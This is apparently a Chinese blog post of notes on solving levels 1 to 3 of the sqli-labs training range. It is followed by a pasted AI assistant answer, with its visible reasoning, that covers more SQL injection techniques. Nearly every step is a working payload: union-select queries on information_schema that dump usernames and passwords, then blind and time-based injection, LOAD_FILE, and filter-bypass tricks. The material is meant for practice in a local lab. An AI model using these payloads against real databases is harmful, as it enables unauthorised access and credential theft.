sql靶场笔记

本文详细介绍了SQL注入攻击的步骤和技巧,从第一关到第三关,逐步展示了如何利用单引号闭合、联合查询、信息_schema表来探测数据库、表及数据。通过输入特殊字符,观察回显,确定数据列数,最终获取用户名和密码,揭示了SQL注入的常见手法和防范措施。

第一关

1、判断闭合符号
通过提交

?id=1、?id=1 and 1=1、?id=2

发现有回显
在这里插入图片描述
在id后面加入反斜杠发现是单引号闭合
在这里插入图片描述

在url中加入单引号出现报错
在这里插入图片描述
2、即单引号字符型注入,我们可以使用order by X来获取列数(例如:id=1‘order by 1–+这条语句的意思是查询users表中user_id为1的数据并按第一字段排行)
而我们在输入id=1’ order by 4–+的时候报错,那么说明数据有三列。
在这里插入图片描述
3、接下来我们使用 union select 联合查询查看当前的数据库(union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询)
即:id=-1’ union select 1,2,3–+也可以(id=1’ and 1=0 union select 1,2,3–+)目的就是使union前的查询无返回结果从而返回到执行联合查询的结果
在这里插入图片描述
判断出数据在2,3列
4、对数据库和表进行注入获取数据
先查询当前数据库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select database()),3--+

在这里插入图片描述
然后我们用group_concat()函数查看库中有哪些表:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+

information_schema:是数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
在这里插入图片描述
也可以在第三列里爆出表名:只需把union语句放到3的位置就行
在这里插入图片描述
5、查看users表里面的内容

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+

在这里插入图片描述
6、查看用户名和密码

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,(select group_concat(username,password) from users)--+

在这里插入图片描述

第二关

1、查看回显
依旧是输入?id=1、?id=1 and 1=1、?id=2
后面加入反斜杠
在这里插入图片描述
发现可以不用闭合直接查询
那么就跟第一关一样了,只不过不用加单引号。
2、使用order by
发现有三列
3、用union联合查询

?id=-1 union select 1,2,3--+

4、查看数据库

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+

5、查看表中内容

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+

6、获取用户名和密码

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,(select group_concat(username,password) from users)--+

第三关

1、首先输入反斜杠,发现是单引号括号闭合
在这里插入图片描述
2、order by查询
发现依旧是三列
3、联合查询

http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 union select 1,2,3--+

4、注入获取数据库和表的数据

http://127.0.0.1/sqli-labs-master/Less-3//?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+

5、查看user表里的内容

http://127.0.0.1/sqli-labs-master/Less-3//?id=-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+

6、查看用户名和密码

http://127.0.0.1/sqli-labs-master/Less-3//?id=-1') union select 1,2,(select group_concat(username,password) from users)--+
<think>好的,用户需要关于SQL注入实验室的过关技巧或SQL库挑战的笔记。首先,我需要回忆常见的SQL注入类型和防御方法,确保内容准确。然后,考虑如何结构清晰地组织这些信息,分步骤讲解过关技巧,可能包括基础注入、联合查询、布尔盲注和时间盲注等。 要确保使用正确的中文术语,比如“联合查询注入”而不是直译的“union based”。同时,用户提到需要引用站内资料,但目前没有具体的引用来源,可能需要添加通用引用标识,如[^1]或[^2],假设这些引用指向相关教程或文档。 接下来,生成相关问题,这些问题应该涵盖防御方法、工具使用、不同数据库的差异以及绕过WAF的技巧。这部分需要覆盖用户可能进一步感兴趣的方面,帮助他们深入学习。 需要注意避免使用Markdown格式,但按照用户的要求,回答中的代码部分需要用三个反引号包裹,并指定语言。同时,数学公式部分虽然没有直接涉及,但如果有示例中的情况,比如Payload中的计算,可能需要使用行内公式,但这里可能不太需要。 最后,检查内容是否真实可靠,避免错误信息,比如正确区分不同类型的注入方法和对应的Payload结构。确保示例代码正确,比如联合查询时的列数匹配和注释符的使用。此外,提醒用户合法授权的测试,避免法律问题。</think># SQL注入实验室过关技巧与库函数应用指南 ## 一、基础注入技巧 1. 字符型注入检测: ```sql ' OR 1=1 -- ``` 通过闭合单引号构造永真条件,注意结尾空格和注释符的使用[^1] 2. 数字型注入检测: ```sql 1 OR 1=1 ``` 不需要闭合引号,直接拼接逻辑表达式 ## 二、联合查询注入 1. 确定列数(二分法示例): ```sql ' ORDER BY 5-- ``` 逐步增加数字直到报错,确定返回列数 2. 构造有效联合查询: ```sql ' UNION SELECT 1,@@version,3,4 -- ``` 需匹配主查询列数,关键函数: - `database()` 当前数据库 - `user()` 当前用户 - `@@version` 数据库版本 ## 三、盲注技术 1. 布尔盲注模板: ```sql ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' -- ``` 通过响应差异判断字符 2. 时间盲注示例: ```sql ' IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(3),0) -- ``` 利用时间延迟判断条件真假 ## 四、常用SQL函数库 1. 字符串处理: ```sql CONCAT(), SUBSTRING(), CHAR() ``` 2. 信息获取: ```sql LOAD_FILE(), @@datadir ``` 3. 系统函数: ```sql SLEEP(), BENCHMARK() ``` ## 五、防御绕过技巧 1. 编码绕过: ```python # URL编码示例 payload = "' UNION SELECT 1,2,3-- " encoded = urllib.parse.quote(payload) # 得到%27%20UNION%20SELECT... ``` 2. 双写关键字绕过: ```sql ' UNIUNIONON SELECT 1,2 -- ``` 3. 注释符变体: ```sql /*!50000SELECT*/ VERSION() ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值